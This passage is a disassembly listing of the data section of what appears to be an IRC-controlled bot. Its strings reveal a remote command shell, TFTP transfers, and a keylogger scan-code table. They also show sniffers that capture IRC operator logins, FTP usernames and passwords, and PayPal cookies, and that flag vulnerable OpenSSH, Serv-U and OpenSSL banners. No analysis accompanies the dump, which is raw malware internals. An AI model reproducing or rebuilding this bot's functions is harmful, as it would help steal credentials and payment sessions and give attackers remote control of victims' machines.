		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_439398:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_439840	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_439884	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_4398EC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_439934	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_439974	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4399B8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4399E4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_439A10	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_439A4C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_439A78	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_439AA4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_439C40	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_439C74	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_439CBC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_439CE4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_439D24	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_439D64	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_439DA4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43A714	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_43A744:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_43B008
		dd offset off_43B004
		dd offset off_43B000
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043A79Co
		align 10h
off_43B000	dd offset word_505446	; DATA XREF: ___:0043A798o
off_43B004	dd offset aMccaffery+1	; DATA XREF: ___:0043A794o
off_43B008	dd offset word_544F42	; DATA XREF: ___:0043A790o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43B27C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43B2B4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43B2EC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B320	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43B354	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
